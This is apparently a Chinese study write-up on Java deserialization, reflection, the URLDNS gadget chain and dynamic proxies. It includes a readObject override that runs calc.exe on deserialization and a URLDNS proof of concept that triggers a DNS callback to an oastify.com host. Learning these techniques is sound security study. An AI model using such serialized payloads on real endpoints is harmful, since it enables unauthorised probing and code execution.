重写readObject来执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//Student
package test;

import java.io.IOException;
import java.io.Serializable;

public class Student implements Serializable {
public String name;
public int age;

public Student() {
}

public Student(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}
// @Override
public String toString() {
// 返回对象的字符串表示
return "Student{" + "name='" + name + '\'' + ", age=" + age + '}';
}
//重写readObject
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行命令
Runtime.getRuntime().exec("calc.exe");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//Serialize
package test;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class abc {
public static void main(String[] args) throws IOException {

Student stu = new Student("lisi",18);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.txt"));
oos.writeObject(stu);
System.out.println(stu);
oos.close();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//Unserialize
package test;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unseralize {
public static void main(String[] args) throws IOException, ClassNotFoundException {

ObjectInputStream ois = new ObjectInputStream(new FileInputStream("a.txt"));

Object o = ois.readObject();

System.out.println(o);

ois.close();

}
}

Java(反射基础)

Java反射是指在运行时动态地获取、检查和操作类的信息的机制。它允许程序在运行时通过类的名称来获取类的详细信息,包括类的构造函数、方法、字段等,并且可以在运行时动态地创建对象、调用方法和访问字段。反射机制使得程序可以在编译时无法确定具体类的情况下,通过名称来操作类,从而提供了更大的灵活性和动态性。

反射获取class对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class test01 {

public static void main(String[] args) throws ClassNotFoundException {
/* 获取class对象的三种方式
Class.forName("全类名") 全类名:包名+类名
类名.class
对象。getClass()
*/

Class clazz01 = Class.forName("Student");
System.out.println(clazz01);

Class clazz02 = Student.class;
System.out.println(clazz02);

Student s = new Student();
Class clazz03 = s.getClass();
System.out.println(clazz03);
}
}

反射获取构造方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Parameter;

public class test01 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
/*
Class类中用于获取构造方法的方法
Class类中用于获取构造方法的方法
Constructor<?>[]getConstructors():返回所有公共构造方法对象的数组
Constructor<?>[]getDeclaredConstructors():返回所有构造方法对象的数组
Constructor<T>getConstructor(Class<?>…parameterTypes):返回单个公共构造方法对象
Constructor<-T>getDeclaredConstructor((Class<?>parameterTypes):返回单个构造方法对象

*/

//获取Class字节码文件对象
Class clazz = Class.forName("Student");

System.out.println("获取所有构造方法");
Constructor[] con = clazz.getDeclaredConstructors();
for (Constructor constructor : con) {
System.out.println(constructor.toString());
}
System.out.println("获取无参的构造方法");
Constructor con1 = clazz.getConstructor();
System.out.println(con1);

System.out.println("获取参数为String类型的构造方法");
Constructor con2 = clazz.getDeclaredConstructor(String.class);
System.out.println(con2);

System.out.println("获取参数为int类型的构造方法");
Constructor con3 = clazz.getDeclaredConstructor(int.class);
System.out.println(con3);

System.out.println("获取参数为Sting类型和int类型的构造方法");
Constructor con4 = clazz.getDeclaredConstructor(String.class,int.class);
System.out.println(con4);

System.out.println("获取构造方法的权限修饰符");
/*
public : 1
protected : 4
private : 2
*/
int modifiers = con4.getModifiers();
System.out.println(modifiers);

System.out.println("获取构造方法的参数");
Parameter[] parameters = con4.getParameters();
for(Parameter parameter : parameters){
System.out.println(parameter);
}

System.out.println("创建对象");
con4.setAccessible(true);
Object stu = con4.newInstance("张三", 18);
System.out.println(stu);

}
}

反射获取成员变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.lang.reflect.Field;

public class test02 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
/*
Field[] getFields():返回所有公共成员变量对象的数组
Field[] getDeclaredFields():返回所有成员变量对象的数组
Field getField(String name):返回单个公共成员变量对象
Field getDeclaredField(String name):返回单个成员变量对象
*/
System.out.println("获取class字节码文件对象");
Class clazz = Class.forName("Student");

System.out.println("获取所有成员变量对象");
Field[] fields = clazz.getDeclaredFields();
for (Field field :fields){
System.out.println(field);
}

System.out.println("获取name成员变量");
Field name = clazz.getDeclaredField("name");
System.out.println(name);

System.out.println("获取权限修饰符");
int modifiers = name.getModifiers();
System.out.println(modifiers);

System.out.println("获取Name");
String n = name.getName();
System.out.println(n);

System.out.println("获取成员变量记录的值");
Student s = new Student("李四",18,"男");
name.setAccessible(true);
Object value = name.get(s);
System.out.println(value);

System.out.println("修改成员变量记录的值");
name.set(s,"张三");
Object value2 = name.get(s);
System.out.println(value2);
}
}

URLDNS

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Serialize {

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {

HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();

URL url = new URL("http://9t3yg0l28pe8p1dypavjbhwf66cx0o1cq.oastify.com");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,2); //在hashmap.put中调用了putVal()

hashmap.put(url, 1);


ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("a.bin"));
hashcodefield.set(url,-1);
oos.writeObject(hashmap);

oos.close();
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unSerialize {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("a.bin"));
ois.readObject();
ois.close();
}
}

pop gadget

1
2
3
4
5
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

可以理解为, 在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求.

我在学习URLDNS中遇到一个问题:尽管我setAccessible(true);还是会报错: Unable to make field private int java.net.URL.hashCode accessible: module java.base does not “opens java.net” to unnamed module @5b480cf9,解决方法:更换jdk版本到1.8

动态代理

在Java中,动态代理是一种机制,它允许在运行时创建代理对象,以代替原始对象执行特定的操作。代理对象可以拦截对原始对象的方法调用,并在调用前后执行额外的逻辑。

在Java中,动态代理是通过java.lang.reflect.Proxy类和java.lang.reflect.InvocationHandler接口来实现的。Proxy类提供了创建代理对象的静态方法,而InvocationHandler接口定义了代理对象的方法调用处理逻辑。

一个简单的案例

创建要被代理的class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class BigStart implements Star{


private String name;

public BigStart() {
}

public BigStart(String name) {
this.name = name;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String sing(String name){
System.out.println(this.name+"正在唱"+name);
return "谢谢";
}

public void dance(){
System.out.println(this.name+"正在跳舞");
}
}

创建接口

1
2
3
4
5
6
7
8
public interface Star {

//可以把想要被代理的方法放到接口当中

public abstract String sing(String name);

public abstract void dance();
}

创建代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class ProxyuUtil {

/*
方法的作用:
给明星创建代理
形参:
被代理的明星

需求:
外面的人想要大明星唱一首歌
1.获取代理的对象
代理对象=ProxyUtil,createProxy(大明星的对象);
2,再调用代理的唱歌方法
代理对象.唱歌的方法();

*/
public static Star createProxy(BigStart bigStart) {
/*
public static object newProxyInstance(ClassLoader loader,Class<?>[]interfaces,InvocationHandler h)
参数一:用于指定用哪个类加载器,去加载生成的代理类
参数二:指定接口,这些接口用于指定生成的代理长什么,也就是有哪些方法
参数三:用来指定生成的代理对象要干什么事情
*/

Star star = (Star) Proxy.newProxyInstance(
ProxyuUtil.class.getClassLoader(),
new Class[]{Star.class},
new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
/*
参数一:代理的对象
参数二:要运行的方法
参数三:调用方法时,要传输的形参
*/
if("sign".equals(method.getName())){
System.out.println("准备话筒");
} else if("dance".equals(method.getName())){
System.out.println("准备场地");
}

return method.invoke(bigStart,args);
}
}
);
return star;

}
}

测试代理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class test {
public static void main(String[] args) {
//1. 获取代理对象
BigStart bigStart = new BigStart("鸡哥");
Star proxy = ProxyuUtil.createProxy(bigStart);

//2. 调用唱歌的方法
String result = proxy.sing("鸡你太美");
System.out.println(result);

//3. 调用跳舞的方法
proxy.dance();

}
}

//输出如下:
//鸡哥正在唱鸡你太美
//谢谢
//准备场地
//鸡哥正在跳舞